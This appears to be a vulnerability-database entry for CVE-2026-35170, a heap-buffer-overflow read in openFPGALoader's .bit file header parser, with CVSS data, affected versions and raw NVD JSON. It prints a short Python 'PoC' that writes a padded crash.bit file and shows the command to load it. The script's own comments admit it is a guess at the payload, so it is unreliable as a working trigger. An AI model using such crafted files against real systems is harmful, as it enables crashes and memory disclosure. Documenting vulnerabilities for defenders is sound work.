Security Vulnerability Report
中文
CVE-2026-35170 CVSS 7.1 HIGH

CVE-2026-35170

Published: 2026-04-06 20:16:25
Last Modified: 2026-04-28 17:07:12

Description

openFPGALoader is a utility for programming FPGAs. In 1.1.1 and earlier, a heap-buffer-overflow read vulnerability exists in BitParser::parseHeader() that allows out-of-bounds heap memory access when parsing a crafted .bit file. No FPGA hardware is required to trigger this vulnerability.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:trabucayre:openfpgaloader:*:*:*:*:*:*:*:* - VULNERABLE
openFPGALoader <= 1.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct import os # Generate a crafted .bit file to trigger the heap-buffer-overflow read # The vulnerability is in BitParser::parseHeader() # Create a malformed header that might cause parseHeader to read OOB # .bit files usually start with specific keys, we corrupt the length field def generate_poc(filename): with open(filename, 'wb') as f: # Write a dummy header part f.write(b'00') # Write a malformed key that might confuse the parser # This simulates a crafted structure that forces an out-of-bounds read # specific payload depends on the exact parsing logic of BitParser payload = b'a' * 0x1000 f.write(payload) # Write a truncated/corrupted section to trigger the read overflow f.write(b'\xff' * 100) print(f"[+] POC file generated: {filename}") print(f"[+] Usage: openFPGALoader -f {filename}") if __name__ == "__main__": generate_poc("crash.bit")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35170", "sourceIdentifier": "[email protected]", "published": "2026-04-06T20:16:25.450", "lastModified": "2026-04-28T17:07:12.120", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "openFPGALoader is a utility for programming FPGAs. In 1.1.1 and earlier, a heap-buffer-overflow read vulnerability exists in BitParser::parseHeader() that allows out-of-bounds heap memory access when parsing a crafted .bit file. No FPGA hardware is required to trigger this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:trabucayre:openfpgaloader:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.1.1", "matchCriteriaId": "62581179-C886-4DE6-B888-53C8E5509FBA"}]}]}], "references": [{"url": "https://github.com/trabucayre/openFPGALoader/security/advisories/GHSA-v59x-fvpj-j22x", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}